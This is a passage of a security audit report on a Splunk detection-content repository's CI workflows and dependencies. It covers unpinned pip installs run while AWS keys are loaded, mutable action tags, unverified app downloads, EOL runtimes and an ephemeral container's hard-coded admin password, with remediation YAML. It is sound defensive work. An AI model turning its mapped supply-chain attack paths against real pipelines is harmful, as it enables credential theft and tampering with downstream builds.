44:  print(f"{name:<80} | 🔴 {status:<6}  | {test_type:<10} | {exception:<50}")
```

Description: `summary.yml` is produced from PR-authored detection content, so `name`/`exception` are attacker-influenced on a fork PR. They are printed verbatim into the GitHub Step Summary (Markdown). A crafted detection name/exception can inject Markdown/HTML-ish content (links, images, formatting) into the job summary that maintainers read. No code execution — step summaries are sanitized Markdown — so impact is cosmetic/spoofing of the results table. `yaml.safe_load` is used correctly (line 23). **Untrusted-input reachability**: fork PR → detection name/exception → step summary Markdown. **Verdict: Conditionally exploitable as content spoofing only. Remediation**: escape/neutralize before emitting (strip newlines/backticks/pipes, or wrap in code spans), e.g. `name = name.replace('|','\\|').replace('\n',' ')` and render exceptions inside a fenced block.

Standards mapping.

CWE: CWE-117; CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** CI/CD / Output Encoding.

CI-15 — Unbounded $ref recursion in validate_response_templates.py

Severity: Low (CVSS v3.1 base 2.3). Exploitability: Robustness (repo-controlled input).

Location. .github/workflows/response_templates/validate_response_templates.py:47-61

Description: `resolve_refs` recursively dereferences `$ref` with no cycle detection or depth cap. A self-/mutually-referential schema in `mcopenapi_public.yml` would cause `RecursionError`/stack exhaustion. The spec is repo-controlled (CODEOWNERS-gated), and a malicious spec could only reach `main`/`develop` via review, so this is a robustness bug, not an attacker primitive. `yaml.safe_load`/`json.load` are used correctly (no `yaml.load`). **Remediation**: track visited `$ref` names and raise/short-circuit on a cycle, or add a recursion-depth guard.

Standards mapping.

CWE: CWE-674; CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24). **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** CI/CD / General Coding Practices.

CI-11 — .github/workflows/labeler.yml uses pull_request_target safely (positive control, informational)

Severity: Informational (no CVSS score (informational)). Exploitability: Positive control.

Location. .github/workflows/labeler.yml:1-18

Description: The workflow triggers on `pull_request_target` (which grants a read/write `GITHUB_TOKEN` and runs in the base-repo context). Crucially it checks out `repository: "splunk/security_content"` **with no `ref:`**, i.e. the base default branch — it does **not** check out or execute PR-head code — and `actions/labeler@v7` only reads changed-file names via the API. Permissions are scoped (`contents: read`, `pull-requests: write`). This is the recommended safe pattern for `pull_request_target`; recording it so the pattern is preserved. Residual: `actions/labeler@v7` is a mutable tag (CI-04) and runs with write token — pin it to a SHA.

Standards mapping.

CWE: . **OWASP Top 10 2021:** . **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** CI/CD / System Configuration.

CI-12 — OpenAPI example values flagged by secret scanners are placeholders (informational)

Severity: Informational (no CVSS score (informational)). Exploitability: False positive.

Location.
.github/workflows/response_templates/mcopenapi_public.yml:17,57,1305,1578,2077,2220,2602,2786,3726,3913,4358

Description: The flagged strings are OpenAPI documentation `example:` values — UUIDs, sample SHA-256 file hashes, example usernames/emails, and a sample cloud stack host. None are credentials. The spec is consumed only by `validate_response_templates.py` via `yaml.safe_load` → used to build JSON Schemas for structural validation; `example:`/`servers:` values are never fetched or executed (no SSRF — the `servers.url` is descriptive only). Confirmed false positives; noting the internal-looking host `blueridge.splunkcloud.com` for awareness (it is Splunk's own documented sample stack).

- **Secrets verdict**: all placeholder/test. See Section C.

Standards mapping.

CWE: . **OWASP Top 10 2021:** . **SANS Secure Coding Practice:** CI/CD / Data Protection.

CI-14 — Hard-coded admin password for the throw-away CI Splunk container (informational)

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable (ephemeral test container).

Location. .github/workflows/unit-testing.yml:64

Description: `Chang3d!` is the admin password of an ephemeral throwaway Splunk container created per-run and destroyed with the runner; it is not a production credential and grants nothing outside the job. Noted for completeness (detect-secrets flagged it). No remediation required beyond not reusing it anywhere real.

Standards mapping.

CWE: CWE-798 Use of Hard-coded Credentials (2024 CWE Top 25 #22). **OWASP Top 10 2021:** . **SANS Secure Coding Practice:** CI/CD / Authentication and Password Management.

CI-16 — bump-yaml.sh follows secure shell practices (positive note)

Severity: Informational (no CVSS score (informational)). Exploitability: Positive control.

Location. scripts/bump-yaml.sh:1-46

Description: `set -euo pipefail`, all variable expansions quoted (`"$file"`), extension/existence/readability checks, `yq` availability check, and the version string passed to `yq` via `strenv(TODAY)` from the environment (not string-concatenated into the expression) — no sed/awk/`yq` expression injection via filename or version. This is the secure pattern; recorded as a positive control. (Caveat: it edits files in place, so it must not be run by CI on untrusted input — it is a maintainer helper only.)

Standards mapping.

CWE: . **OWASP Top 10 2021:** . **SANS Secure Coding Practice:** CI/CD / General Coding Practices.

4.6 Software Composition, End-of-Life and Licensing

This area produced 11 unique findings: 1 High, 5 Medium, 5 Low.

DEP-02 — Unpinned pip install in a scheduled job holding long-lived AWS keys that writes the shared app-binaries bucket

Severity: High (CVSS v3.1 base 8.6). Exploitability: Conditionally exploitable (highest blast radius).

Location. .github/workflows/update_splunk_tas.yml:21-38 (also .github/workflows/build-response-templates.yml:22, .github/workflows/yaml-validation.yml:47)

- **Title**: Fully unpinned `pip install` of five third-party packages inside a scheduled job that holds long-lived AWS keys and Splunkbase credentials and writes the app binaries every test environment downloads

```
19      - name: Set up Python
20        uses: actions/setup-python@v6
21        with:
22          python-version: '3.10'  # or the version your script requires
23      - uses: aws-actions/configure-aws-credentials@v6
24        with:
25          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
26          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
27          aws-region: eu-central-1
29      - name: Install Python dependencies
30        run: |
31          pip3 install boto3 PyYAML xmltodict requests urllib3
33      - name: Run Python Splunk TA checker
34        env:
35          SPLUNK_BASE_USERNAME: ${{ secrets.SPLUNK_BASE_USERNAME }}
36          SPLUNK_BASE_PASSWORD: ${{ secrets.SPLUNK_BASE_PASSWORD }}
37        run: |
38          python .github/workflows/ta_update.py
```

Description: Every day at 06:55 UTC this workflow installs whatever the newest `boto3`, `PyYAML`, `xmltodict`, `requests` and `urllib3` happen to be - no version, no hash - *after* AWS access keys have been placed in the environment, and then runs `ta_update.py`, which downloads TAs from Splunkbase (`ta_update.py:479`) and uploads them to the S3 bucket `attack-range-appbinaries` (`ta_update.py:431-432, 490`). That bucket is the `hardcoded_path` origin for all 38 apps in `contentctl.yml:37-258`, which `contentctl-ng install`/`test` pulls onto every Splunk test container (CI and developer laptops). A single malicious release of any of these five very-high-profile packages (or of one of their own transitive deps, e.g. `botocore`, `s3transfer`, `jmespath`, `charset-normalizer`, `idna`, `certifi`) therefore yields: exfiltration of `AWS_ACCESS_KEY_ID/SECRET` and `SPLUNK_BASE_*`, and the ability to replace TA tarballs (which contain Python modular inputs that execute inside Splunk) for everyone downstream. The same anti-pattern exists in `build-response-templates.yml:22` (`pip install pyyaml jsonschema`) and `yaml-validation.yml:47` (`pip install yamllint`), but those jobs hold only the default `GITHUB_TOKEN`, so impact is lower. `update_nist_ai_rmf_detection_map.yml:31` correctly pins `PyYAML==6.0.3` but without a hash. The job also runs on **Python 3.10, which reached end-of-life on 2026-10-01** (endoflife.date, verified) - five days before this review. **Untrusted-input reachability**: Source = PyPI release stream of 5 top-level packages (+ ~10 transitives) -> `pip3 install` on runner with secrets in env -> `boto3` client writes to S3 -> all consumers of `contentctl.yml`. Who controls: third-party maintainers / PyPI account takeover; typosquats are not a factor (names are correct) but version-floating is. Preconditions: upstream compromise. Verdict: **Conditionally exploitable** - highest blast radius of any SCA issue in this repo. **Proof of concept**: Resolution is non-deterministic by design; demonstrated by comparing today's PyPI latest (`boto3 1.43.108` 2026-10-02, `requests 2.34.2`, `urllib3 2.8.0`, `xmltodict 1.0.4`, `PyYAML 6.0.3`) against what the workflow would have installed on 2026-01-01 (different versions) - nothing in the repo records which set ran. Reproduction of the control gap: `grep -n "pip3 install" .github/workflows/update_splunk_tas.yml` -> line 31, no `==`, no `--require-hashes`, no lockfile. Execution path: `actions/setup-python` -> `pip3 install ...` (arbitrary wheel/sdist code) -> process already has `AWS_*` env (step 23 ran first) -> `ta_update.py` -> `s3_client.upload_file(...)` (l.490). **Remediation**: move credentials *after* installation, pin with hashes, use OIDC instead of static keys, and run on a supported Python.

```
# .github/workflows/update_splunk_tas.yml (fixed)
name: Splunk TA Update Apps
on:
  workflow_dispatch:
  schedule:
    - cron: '55 06 * * *'
permissions:
  contents: read
  id-token: write          # OIDC federation to AWS, no long-lived keys
jobs:
  modify-code:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1   # v7.0.1
        with:
          ref: develop
          persist-credentials: false
      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6
        with:
          python-version: '3.13'          # supported until 2029-10-31
      - name: Install pinned, hash-verified dependencies
        run: |
          python -m pip install --require-hashes --no-deps -r
.github/workflows/requirements-ta-update.txt
      # credentials are only introduced AFTER untrusted package code has run
      - uses: aws-actions/configure-aws-
credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6
        with:
          role-to-assume: arn:aws:iam::<account>:role/security-content-ta-uploader
          aws-region: eu-central-1
      - name: Run Python Splunk TA checker
        env:
          SPLUNK_BASE_USERNAME: ${{ secrets.SPLUNK_BASE_USERNAME }}
          SPLUNK_BASE_PASSWORD: ${{ secrets.SPLUNK_BASE_PASSWORD }}
        run: python .github/workflows/ta_update.py
# .github/workflows/requirements-ta-update.in
boto3==1.43.108
PyYAML==6.0.3
xmltodict==1.0.4
requests==2.34.2
urllib3==2.8.0
#   pip-compile --generate-hashes -o requirements-ta-update.txt requirements-ta-update.in
```

Why it works: hash verification blocks substituted artifacts; moving `configure-aws-credentials` below the install step means a compromised package cannot read AWS keys at install time; OIDC role credentials are short-lived and scoped (`s3:PutObject` on one bucket) so even a runtime compromise cannot persist. Functionality is unchanged (same packages, same script). Also apply the pin/hash pattern to `build-response-templates.yml:22`, `yaml-validation.yml:47` and `update_nist_ai_rmf_detection_map.yml:31`.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1395 Dependency on Vulnerable Third-Party Component; CWE-494 Download of Code Without Integrity Check; CWE-829 Inclusion of Functionality from Untrusted Control Sphere; CWE-522. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures, A06:2021 Vulnerable and Outdated Components, A02:2021 Cryptographic Failures. **MITRE ATT&CK:** T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools, T1552.001 Unsecured Credentials: Credentials In Files, T1565.001 Data Manipulation: Stored Data Manipulation. **NIST SP 800-53r5:** SR-3 Supply Chain Controls and Processes, SR-4 Provenance, SA-22 Unsupported System Components, SI-2 Flaw Remediation, CM-8 System Component Inventory, IA-5(7) Authenticator Management | No Embedded Unencrypted Static Authenticators, AC-6 Least Privilege. **NIST CSF 2.0:** GV.SC Govern -

Cybersecurity Supply Chain Risk Management, PR.AA Protect - Identity Management, Authentication, and Access Control, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.5.21 Managing information security in the ICT supply chain, A.8.8 Management of technical vulnerabilities, A.8.19 Installation of software on operational systems, A.5.17 Authentication information. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-01 — Build toolchain dependency tree unlocked: 65 transitive packages float with no lockfile or hashes

Severity: Medium (CVSS v3.1 base 6.8). Exploitability: Conditionally exploitable (upstream compromise).

Location. requirements.txt:1; .github/workflows/appinspect.yml:28; .github/workflows/build.yml:32; .github/workflows/datasource-dependabot.yml:28; .github/workflows/unit-testing.yml:42

- **Title**: Build toolchain dependency tree is unlocked - 65 transitive packages float on `>=` constraints with no lockfile or hashes

```
1contentctl-ng==1.1.1
```

Description: The repository pins exactly one package. contentctl-ng itself declares 18 direct dependencies with only lower bounds and no upper bounds, so every CI run and every developer `pip install -r requirements.txt` resolves a fresh, un-reviewed set of 65 packages (verified: `uv pip tree`). There is no `requirements.lock`/`pip-compile` output, no `--require-hashes`, and `.github/dependabot.yml` does not watch the `pip` ecosystem, so nobody is notified when a transitive dependency publishes a vulnerable or malicious release. The resolution I obtained today is clean (`pip-audit --strict`: "No known vulnerabilities found", 64 dependencies), but that is an accident of timing, not a property of the configuration. Because `pip` is free to select any version satisfying the bounds, an environment with an older index mirror or a constraint from another tool can legally end up on the minimum versions - which carry 37 published advisories, including 25 CVEs in GitPython 3.1.49 (`CVE-2026-67325` AV:N/AC:L/PR:L C:H/I:H/A:H, fix 3.1.51; `CVE-2026-87817` AV:N/AC:L/PR:N/UI:R C:H/I:H/A:H, fix 3.1.60), `CVE-2026-25645` in requests 2.32.5 (fix 2.33.0) and `CVE-2026-58203` in pydantic-settings 2.14.0 (fix 2.14.2). GitPython and pygit2 are used by contentctl-ng to compute changed detections (`contentctl-ng test --mode CHANGED --git-ref`), i.e. they parse PR-controlled git data in CI. Business impact: a poisoned build tool runs in the job that produces `DA-ESS-ContentUpdate.tar.gz`, the artifact shipped to every ESCU customer (SolarWinds-style build-step compromise), and in `datasource-dependabot.yml` it runs with a PAT able to open PRs. **Untrusted-input reachability**: Source = PyPI (any maintainer of the 65 packages, or a malicious new release matching `>=`) -> `pip install -r requirements.txt` on `ubuntu-latest` -> arbitrary code at install (setup hooks) or at `contentctl-ng build`. Who controls: third-party maintainers; PR authors cannot directly influence resolution (no `requirements.txt` edits are installed for fork PRs since `unit-testing.yml` checks out the base repo first - good). Verdict: **Conditionally exploitable** (requires upstream compromise; no current vuln). **Proof of concept** (executed locally):

```
$ /root/.local/bin/uv venv --python 3.14 venv_clean && uv pip install --python
venv_clean/bin/python contentctl-ng==1.1.1
Resolved 66 packages ...
$ ./venv314/bin/pip-audit --strict -r freeze_clean.txt --no-deps
No known vulnerabilities found            # today's resolution

$ ./venv314/bin/pip-audit -f columns --no-deps -r <(printf 'gitpython==3.1.49\
nrequests==2.32.5\npydantic-settings==2.14.0\n')
Name              Version ID              Fix Versions
gitpython         3.1.49  PYSEC-2026-3984 3.1.60
gitpython         3.1.49  PYSEC-2026-3980 3.1.50
... (37 rows total)                        # versions the same requirements file *permits*
```

Execution path: `pip install -r requirements.txt` -> resolver picks any version `>=` bound -> package `setup.py`/wheel code -> `contentctl-ng build` in CI runner with repo write/PAT scope. **Remediation**: commit a hash-locked requirements file generated with pip-tools and install with `--require-hashes`; add `pip` to Dependabot (or Renovate) so the lock is bumped by reviewed PRs.

```
# requirements.in  (human-edited)
contentctl-ng==1.1.1
# generate on CPython 3.14 (the only interpreter contentctl-ng supports):
python3.14 -m pip install pip-tools
pip-compile --generate-hashes --python-version 3.14 --output-file requirements.txt
requirements.in
# requirements.txt now contains every transitive package with --hash=sha256:... lines
# .github/workflows/build.yml (same change in appinspect.yml, unit-testing.yml,
datasource-dependabot.yml)
      - name: Install contentctl-ng (hash-locked)
        shell: bash
        run: |
          echo "- Build Tool Version - $(grep -m1 contentctl-ng requirements.txt)"
          python -m pip install --upgrade "pip==25.*"
          python -m pip install --require-hashes --no-deps -r requirements.txt
# .github/dependabot.yml (add pip + docker ecosystems; keep existing two)
version: 2
updates:
- package-ecosystem: "github-actions"
  directory: "/"
  schedule: { interval: "weekly" }
- package-ecosystem: "pre-commit"
  directory: "/"
  schedule: { interval: "weekly" }
- package-ecosystem: "pip"
  directory: "/"
  schedule: { interval: "weekly" }
  groups:
    contentctl-transitives:
      patterns: ["*"]
- package-ecosystem: "docker"          # for a future Dockerfile/compose pin of
splunk/splunk
  directory: "/"
  schedule: { interval: "weekly" }
```

Renovate equivalent (`renovate.json`): `{"extends":["config:recommended",":pinAllExceptPeerDependencies","helpers:pinGitHubActionDigests"],"pip_requirements":{"fileMatch":["^requirements\\.txt$"]},"lockFileMaintenance":{"enabled":true}}`. Why it works: `--require-hashes` makes pip refuse any artifact whose SHA-256 is not in the file, so a malicious or substituted release cannot be installed even if it satisfies `>=`; `--no-deps` prevents the resolver from pulling anything outside the lock. No functional regression: the lock is generated from the exact same `contentctl-ng==1.1.1` and re-generated by Dependabot/Renovate PRs. Add `pip-audit -r requirements.txt --require-hashes` as a CI step so new advisories fail the build.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1395 Dependency on Vulnerable Third-Party Component; CWE-494 Download of Code Without Integrity Check. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components, A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SA-22 Unsupported System Components, SI-2 Flaw Remediation, SR-3 Supply Chain Controls and Processes, SR-4 Provenance, CM-8 System Component Inventory, RA-5 Vulnerability Monitoring and Scanning. **NIST CSF 2.0:** GV.SC Govern - Cybersecurity Supply Chain Risk Management, ID.RA Identify - Risk Assessment, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.5.21 Managing information security in the ICT supply chain, A.8.8 Management of technical vulnerabilities, A.8.19 Installation of software on operational systems. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-05 — All 28 GitHub Action references use mutable major tags; third-party actions run with PAT and AWS keys

Severity: Medium (CVSS v3.1 base 6.7). Exploitability: Conditionally exploitable (upstream compromise).

Location. .github/workflows/*.yml (28 uses:)

- **Title**: All GitHub Actions referenced by mutable major tags (28 uses, 7 actions, 2 third-party) - no commit-SHA pinning; `actions/setup-python` one major behind; third-party actions run with PATs/AWS keys

```
46        uses: peter-evans/create-pull-request@v8
47        with:
48          token: ${{ secrets.DATA_SOURCES_DEPENDABOT }}
```

Description: A `@vN` tag is a git ref that the action owner (or anyone who compromises their account) can move to a new commit at any time; `git ls-remote` confirms these are lightweight, re-pointable tags (e.g. `actions/checkout refs/tags/v7` -> `3d3c42e5...`). GitHub's own hardening guide and the March 2025 `tj-actions/changed-files` incident `[TK]` show the failure mode: the tag is retargeted to code that dumps runner memory/secrets. Here two third-party actions are in the most sensitive positions: `peter-evans/create-pull-request@v8` receives a PAT (`DATA_SOURCES_DEPENDABOT`) that can push branches and open PRs against `develop`, and `aws-actions/configure-aws-credentials@v6` receives static AWS keys. Dependabot is configured for `github-actions` (weekly), which mitigates staleness and will even maintain SHA pins once they exist - but today it only bumps tags. Node runtime: all 7 actions declare `node24` (verified via `action.yml`), so there is no imminent node16/node20 breakage. `actions/setup-python@v6` is behind the new `v7.0.0` major (minor concern). **Untrusted-input reachability**: Source = upstream action repository tag -> runner executes action JS with job secrets in memory. Who controls: action maintainers / their account security. PR authors cannot change `uses:` in protected workflows that run on `pull_request` with base-repo checkout. Verdict: **Conditionally exploitable** (requires upstream compromise). **Proof of concept**: `git ls-remote --tags https://github.com/actions/checkout.git refs/tags/v7` -> `3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7` (lightweight: no `^{}` peel entry, so it is directly movable); `aws-actions/configure-aws-credentials v6` is an annotated tag `4a1596c8...` peeling to commit `e1253824e5c10ff9df46874f81ed3ec929e19cfd`. Semgrep: 28 `yaml.github-actions.security.github-actions-mutable-action-tag` WARNINGs. **Remediation**: pin every `uses:` to a full commit SHA with the version as a trailing comment (Dependabot keeps the comment and SHA in sync):

```
# verified SHAs as of 2026-10-06 (git ls-remote); re-verify before committing
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1          # v7.0.1
      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1      # v6
(evaluate v7.0.0)
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a   # v7.0.1
      - uses: actions/labeler@bf12e9b00b37c5c0ca2b87b79b2daf7891dbda13           # v7.0.0
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e          # v7.0.0
        with: { go-version: '1.25.14', cache: false }
      - uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1   #
v8.1.1
      - uses: aws-actions/configure-aws-
credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
```

Also add a repository-level allow-list (Settings -> Actions -> "Allow actions created by GitHub and selected verified creators" plus the two third-party actions by SHA) and, for `datasource-dependabot.yml`, replace the PAT with a GitHub App token or `github.token` + `permissions: {contents: write, pull-requests: write}` as `update_nist_ai_rmf_detection_map.yml` already does. Why it works: a SHA is content-addressed; moving a tag no longer changes what runs. Dependabot (`github-actions` ecosystem, already enabled) will open PRs that bump the SHA and comment together, so there is no maintenance regression. Renovate alternative: `"extends": ["helpers:pinGitHubActionDigests"]`.

Standards mapping.

CWE: CWE-829 Inclusion of Functionality from Untrusted Control Sphere; CWE-1357 Reliance on Insufficiently Trustworthy Component; CWE-494 Download of Code Without Integrity Check. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools, T1552.001 Unsecured Credentials: Credentials In Files. **NIST SP 800-53r5:** SR-3 Supply Chain Controls and Processes, SR-4 Provenance, SA-22 Unsupported System Components, CM-7 Least Functionality, AC-6 Least Privilege. **NIST CSF 2.0:** GV.SC Govern - Cybersecurity Supply Chain Risk Management, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.5.21 Managing information security in the ICT supply chain, A.8.19 Installation of software on operational systems, A.8.28 Secure coding. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-03 — Splunk apps, attack data and container images downloaded without integrity verification from mutable locations

Severity: Medium (CVSS v3.1 base 6.1). Exploitability: Conditionally exploitable.

Location. contentctl.yml:25,37-264,62-70,266-268; .github/workflows/unit-testing.yml:64; .github/workflows/appinspect.yml:41

- **Title**: Splunk apps and test data are downloaded without integrity verification from mutable locations (S3 `hardcoded_path`, `Latest/` prefix, `splunk/splunk:latest` and `:9.3` tags, Git LFS `master`, GitHub `releases/latest`)

```
   62- uid: null
   63  title: Splunk Fix XmlWinEventLog HEC Parsing
   64  appid: Splunk_FIX_XMLWINEVENTLOG_HEC_PARSING
   65  version: '0.1'
   70  hardcoded_path:
https://attack-range-appbinaries.s3.us-west-2.amazonaws.com/Latest/
Splunk_TA_fix_windows.tgz
```

Description: Splunk apps are tarballs that contain Python executed by `splunkd` (modular inputs, custom search commands). contentctl-ng installs 38 of them into the test instance purely by URL; the `apps:` schema has no `sha256`/`size` and nothing in the repo records what the bytes should be. One entry points at a `Latest/` object that is overwritten in place, so even the version string is not stable.

The Splunk container itself is pulled by floating tag (`9.3` -> currently 9.3.14; the unit-test workflow uses `latest` -> 10.6.0 today), so CI tests run against a moving target and are not reproducible. Attack data for 2,154 detection tests comes from the `master` branch of `splunk/attack_data` via Git LFS, again without pinning to a commit. The appinspect job downloads the previous release tarball from GitHub and feeds it to `contentctl-ng inspect` without checking a digest. All of these are Splunk-controlled origins over TLS, so the realistic threat is an insider/compromised AWS account or bucket misconfiguration rather than a network MITM; impact would be code execution in CI and on every developer's Docker host that runs `contentctl-ng test`. **Untrusted-input reachability**: Source = objects in `attack-range-appbinaries` (written by the job in DEP-02) / Docker Hub tag / LFS branch -> `contentctl-ng install` -> Splunk app install REST API -> Python inside `splunkd` in the test container (and `docker.sock`-adjacent runner). Who controls: Splunk STRT (legitimately), or whoever compromises the writer job or AWS account. Verdict: **Conditionally exploitable** (defense-in-depth gap; no evidence of tampering). **Proof of concept**: Configuration evidence only (read-only review): `grep -c hardcoded_path contentctl.yml` -> 38; `grep -nE 'sha|hash|digest|checksum' contentctl.yml install.yml` -> no matches. Docker Hub API (verified 2026-10-06): tag `9.3` digest `sha256:c27ffb9ecff1406881...` updated 2026-07-01; tag `latest` points to `10.6.0` (2026-10-01) - i.e. the two Splunk versions the repo tests against differ by one major release. **Remediation**: pin by digest/hash everywhere the format allows; pin LFS data to a commit; verify the release tarball.

```
# contentctl.yml (excerpt) - pin the container by digest and record app hashes
container_settings:
  full_image_path: registry.hub.docker.com/splunk/splunk:10.0.11@sha256:<digest from
`docker buildx imagetools inspect splunk/splunk:10.0.11`>
apps:
- uid: 1621
  title: Splunk_SA_CIM
  appid: Splunk_SA_CIM
  version: 8.7.0
  hardcoded_path: https://attack-range-appbinaries.s3.us-west-2.amazonaws.com/splunk-
common-information-model-cim_870.tgz
  sha256: <sha256sum of the tgz>          # requires a small contentctl-ng schema
extension (App.sha256: str | None) and
                                          # verification in the downloader; until then,
publish SHA256SUMS next to the objects
test_data_caches:
- base_url: https://media.githubusercontent.com/media/splunk/attack_data/<commit-sha>/
  base_directory_name: external_repos/attack_data
# .github/workflows/unit-testing.yml:64 - pin the image used by CI
          docker run -d --platform linux/amd64 ... --name splunk
splunk/splunk:10.0.11@sha256:<digest>
# .github/workflows/appinspect.yml:41 - verify the downloaded previous release
          curl --fail --location -o DA-ESS-ContentUpdate-latest.tar.gz
https://github.com/splunk/security_content/releases/latest/download/DA-ESS-ContentUpdate-
latest.tar.gz
          curl --fail --location -o DA-ESS-ContentUpdate-latest.tar.gz.sha256
https://github.com/splunk/security_content/releases/latest/download/DA-ESS-ContentUpdate-
latest.tar.gz.sha256
          sha256sum --check DA-ESS-ContentUpdate-latest.tar.gz.sha256
```

Operational fix without code changes: enable S3 Object Lock / versioning + bucket policy denying overwrite on the `attack-range-appbinaries` bucket, delete the mutable `Latest/` prefix in favour of versioned object names (the repo already uses `<name>_<version>.tgz` for 37/38 apps), and have `ta_update.py` publish `SHA256SUMS` that contentctl-ng verifies. Why it works: a digest/hash pin converts "trust the origin" into "trust the bytes", so a compromised bucket or registry cannot change what is executed without a visible repo diff. Reproducibility of tests improves as a side effect.

Standards mapping.

CWE: CWE-494 Download of Code Without Integrity Check; CWE-829 Inclusion of Functionality from Untrusted Control Sphere; CWE-1104 Use of Unmaintained Third Party Components. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SR-4 Provenance, SR-11 Component Authenticity, SI-7 Software, Firmware, and Information Integrity, CM-8 System Component Inventory, SA-22 Unsupported System Components. **NIST CSF 2.0:** PR.DS Protect - Data Security, GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.8.19 Installation of software on operational systems, A.5.21 Managing information security in the ICT supply chain, A.8.9 Configuration management. **SANS Secure Coding Practice:** Dependencies / File Management.

DEP-04 — End-of-life components: Splunk 9.3 test image (EOL 2026-07-24), Python 3.10 CI runtime (EOL 2026-10-01), legacy SOAR exports, notebook stacks

Severity: Medium (CVSS v3.1 base 5.6). Exploitability: Lifecycle hygiene.

Location. contentctl.yml:25; .github/workflows/update_splunk_tas.yml:21; playbooks/*.json (coa.version 4.10.x/5.x); deprecated/notebooks/*.ipynb

- **Title**: End-of-life platform and runtime components: Splunk Enterprise 9.3 test image (EOL 2026-07-24), Python 3.10 CI runtime (EOL 2026-10-01), legacy SOAR 4.10/5.x playbook exports, notebooks on torch 1.11/numpy 1.19/Python 3.8-3.9

```
container_settings:
  full_image_path: registry.hub.docker.com/splunk/splunk:9.3
```

Description: endoflife.date (verified) lists Splunk 9.3 as released 2024-07-24 with EOL **2026-07-24**; Docker Hub shows the `9.3` tag was last rebuilt 2026-07-01 (9.3.14) and will receive no further security fixes, while the current line is 10.6.0. Testing detections against an EOL platform means SPL behaviour, field extractions and REST APIs validated in CI diverge from what customers on 9.4/10.x run, and any Splunk-side CVE in the test image stays unpatched on the shared runner. `update_splunk_tas.yml:21` pins Python **3.10**, which reached EOL on 2026-10-01 (verified); `actions/setup-python` will keep serving it, but no security patches will arrive. The SOAR playbook corpus was exported from 17 different SOAR builds back to 4.10.0 (2020-era) - these legacy exports (`schema: 4`, `python_version: "3"`) rely on behaviours of EOL platforms `[TK: SOAR 4.10 and 5.x are out of support]`. The deprecated DSDL notebooks pin a scientific stack that OSV flags with 30 advisories for `torch 1.11.0` (incl. CVE-2025-32434 - RCE via `torch.load`, which these notebooks call at e.g. `detect_dns_data_exfiltration...ipynb:216,462`) and 2 CVEs for `numpy 1.19.2`; they are explicitly deprecated and not shipped in the app, so this part is informational. **Untrusted-input reachability**: Platform-level; no direct input path in this repo. Verdict: **Not exploitable from repo inputs (defense-in-depth / lifecycle hygiene)**. **Proof of concept**: `curl https://endoflife.date/api/splunk.json` -> `cycle 9.3 ... eol 2026-07-24`; `curl https://endoflife.date/api/python.json` -> `cycle 3.10 ... eol 2026-10-01`; `python3 -I` aggregation of `coa.version` over `playbooks/*.json` (output in Section (i)-e). **Remediation**:

```
# contentctl.yml
container_settings:
  full_image_path: registry.hub.docker.com/splunk/splunk:10.0.11@sha256:<digest>   # 10.0
supported to 2027-07-28; or 9.4.16 (to 2026-12-16)
# .github/workflows/update_splunk_tas.yml
      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6
        with:
          python-version: '3.13'
```

For SOAR: re-export the 8 schema-4 / 5 `python_version: "3"` playbooks from a supported SOAR 6.x and set `python_version: "3.13"` consistently; for notebooks: either delete `deprecated/notebooks` or add a header cell `# DEPRECATED - requires DSDL >= 5.x; do not run on torch < 2.6 (CVE-2025-32434)`. Add an EOL check to CI (`endoflife.date` API or `xeol`) so pins are flagged before they lapse. No regression: 10.0.x is the documented ESCU 6.x target platform; Python 3.13 runs `ta_update.py` unchanged (verified that `requests.packages.urllib3` still imports on 3.14/requests 2.34.2).

Standards mapping.

